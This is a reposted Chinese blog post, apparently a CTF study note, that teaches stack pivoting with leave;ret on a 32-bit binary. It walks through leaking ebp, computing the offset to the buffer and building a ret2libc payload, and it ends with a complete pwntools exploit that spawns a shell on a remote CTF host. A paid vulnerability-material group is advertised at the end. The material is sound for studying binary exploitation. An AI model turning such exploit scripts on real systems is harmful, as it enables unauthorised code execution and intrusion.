小猫的PWN学习笔记9:栈迁移

admin 2026-08-28 05:02:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章介绍了栈迁移技术,用于解决栈溢出空间不足的问题。核心方法是通过控制rbp寄存器并利用leave;ret指令将栈迁移到更大的空间,如bss段或buf缓冲区。文章通过一个32位程序例题演示了如何泄露ebp地址、计算偏移并构造payload实现ret2libc攻击。最后推广了付费漏洞挖掘资料圈。 综合评分: 88 文章分类: 二进制安全,漏洞分析,实战经验,渗透测试


小猫的PWN学习笔记9:栈迁移

原创

小猫信安 小猫信安

小猫信安

2026年8月26日 16:12 湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

前面我们学过了栈溢出,

因为程序没有对输做出限制,我们可以一直输入到覆盖ret指令,后劫持ret进行一系列rop链构造。

通常的栈溢出是这样

char buf[70]read(0, buf,0x200u);

那如果我现在遇到一个这个栈溢出呢?

char buf[16]read(0, buf,0x18u);

只有溢出8个字节,

如果我们想复构造一些复杂的payload根本不够空间,怎么办呢?

栈迁移

栈迁移就是解决上面这个问题,当我们栈溢出的空间很小,可以把栈空间迁移到其他地方,从而扩大栈空间,方便我们存放rop链等payload

方法如下

首先回忆一下我们前面讲过汇编语言下的函数调用,

ret指令的作用:把执行栈顶的内容作为语句执行,

而前面我们说,rsp表示栈顶,

因此,ret的作用就是把rsp指向的内容执行,直接传给rip寄存器

因此,我们控制了rsp就控制了栈帧

如何控制rsp寄存器?

介绍一下leave语句

leave语句的定义如下:

mov rsp,rbp  把rbp传递给rsppop rbp     pop rip

注意第一条语句,因此我们把值rbp然后执行leave,rbp的值传递给rsp,这样我们就控制了rsp,后面两条语句是不影响的,因此我们只需要控制rdp,之后在程序里找leave;ret 这种gadget,就控制了rsp

如何控制rdp?

还记得我们之前画的栈结构图吗?

edp/rdp就在ret指令上面

我们之前的payload=’a’*(0x70+4)+p32(system_address)

这里的’a’*(0x70+4)是覆盖的ret指令,

那么我想修改edp的值,

payload=’a’*(0x70)+p32(想修改的edp的值)+p32(system_address)

这样就控制了edp了。

同样64位

payload=’a’*(0x70)+p64(想修改的rdp的值)+p64(system_address)

因此我们发送此payload后执行leave;ret即可栈迁移。

例题

https://www.polarctf.com/files/8474e86ea6e3f7e4dbbe29edb0d94958/pwn?token=eyJ1c2VyX2lkIjoxMDkyMywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6MTA4fQ.ao2Jww.4YrDtyz68klJuSHfw8sKl6bXSpk

看到也确实给8个字节

查看基本信息

32位,动态链接库加载

因此我们的思路就有了,第一个read栈迁移,第二个read就执行ret2libc

偏移量0x30+4

看bss段

可以看到有R可读W可写表示

但是本程序无法写入这个位置?这个思路显然不行

我们可以换个思路,

所谓栈迁移,可以把栈迁到任何位置,我们让esp指向buf变量起始位置,也就是,直接把栈迁移到buf里。

我们先让第一次read打印出edp的位置

如果我们正好输入0x30个字节,那么printf会把后面的ebp的值也打印出来,这就泄漏了ebp

泄漏出ebp的值后,还需要计算一下相对的偏移。这个偏移长度是从开始输入的位置到ebp的长度。

用gdb调试一下:

 gdb pwn

先输入r运行,然后ctrl+c中断一下,再ni单步即可。

先输入aaaa,直接查看寄存器窗口:

$ebp的值为0xff989398,而输入的位置是0xff989358,0xff989398 - 0xff989358 = 0x40,buf的起始位置=ebp_addr - 0x40,因此,我们只需要往上迁移0x40就行了,然后再在buf里输入system和/bin/sh,让esp折返回来,就能执行system

找leave;ret

编写poc

第一次read我们让程序泄露edp

payload = b'a' * 0x2f payload += b'b'r.send(payload)r.recvuntil("b")ebp_addr = u32(r.recv(4))

现在edp位置有了,第二个payload我们可以这样设计

从’aaaa’到填充字符那里我们把大小设置为0x30,接下来fake_ebp我们设置为system_addr的地址,也就是buf的起始位置edp-0x40,这样输入完从'aaaa'到填充字符这0x30个字节就会劫持edp,然后leave_ret进行上面讲过的栈迁移操作,让edp向上移动0x40

payload

buf_addr = ebp_addr - 0x40bin_sh_addr = buf_addr + 0x10system_addr = elf.symbols['system']
payload1 = b'aaaa' payload1 += p32(system_addr) payload1 += p32(0xdeadbeef) payload1 += p32(bin_sh_addr) payload1 += b'/bin/sh' payload2 = payload1.ljust(0x30, b'\x00')  #这里填充0x30个字节,到edp payload2 += p32(buf_addr)    #劫持edp到buf_addrpayload2 += p32(leave_ret)

system_addr后面加0xdeadbeef是进入system后的返回地址,由于已经getshell了,我们不关心返回地址,所以随便填0xdeadbeef就行了,0xdeadbeef是8字节,bin_sh_addr又是8字节,因此system_addr和/bin/sh字符串就差了正好0x10,我们的bin_sh_addr就填buf_addr+0x10

完整poc

from pwn import * r = remote("1.95.36.136", 2068)elf = ELF("pwn1") context.os = 'linux'context.arch = elf.archcontext.log_level = 'debug' payload = b'a' * 0x2f payload += b'b' r.send(payload)r.recvuntil("b") ebp_addr = u32(r.recv(4)) buf_addr = ebp_addr - 0x40binsh_addr = buf_addr + 0x10system_addr = elf.symbols['system'] leave_ret = 0x0804858c payload1 = b'aaaa' payload1 += p32(system_addr) payload1 += p32(1) payload1 += p32(buf_addr + 0x10) payload1 += b'/bin/sh' payload2 = payload1.ljust(0x30, b'\x00') payload2 += p32(buf_addr) payload2 += p32(leave_ret)r.send(payload2)r.recv() r.interactive()

收工

分享一个我自己运营的纷传圈,一些网络安全漏洞挖掘相关的学习资料会在这个圈子分享,不定期分享ai挖掘skill,ai的skill漏洞挖掘教程,全网已经公开的各大src漏洞报告,全网最新漏洞poc。

对于刚入门的同学,这个圈子有我个人写的0基础入门教程,从最网络基础,到传统漏洞,再到现在的用ai漏洞挖掘,我都会以最通俗易懂的语言教学,帮助你掌握漏洞挖掘的核心原理。

对于有经验的师傅们,这个可以当做微信上面随手打开的漏洞库,平常下班可以点开看看,一些poc也可以上面查找,也欢迎补充分享。

刚开始建圈,后期会每天更新内容,因此,现在是最低价,后期随着资料含金量越来越高,只会上调价格


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小猫信安 小猫信安 小猫信安《小猫的PWN学习笔记9:栈迁移》

《红蓝攻防》速读报告 网络安全文章

《红蓝攻防》速读报告

文章总结: 《红蓝攻防》从攻击方、防守方和中立组织方三个视角系统拆解实战化网络安全攻防演练。核心观点是‘不知攻,焉知防’,强调攻防不对称、人是安全最弱环节。关键
评论:0   参与:  0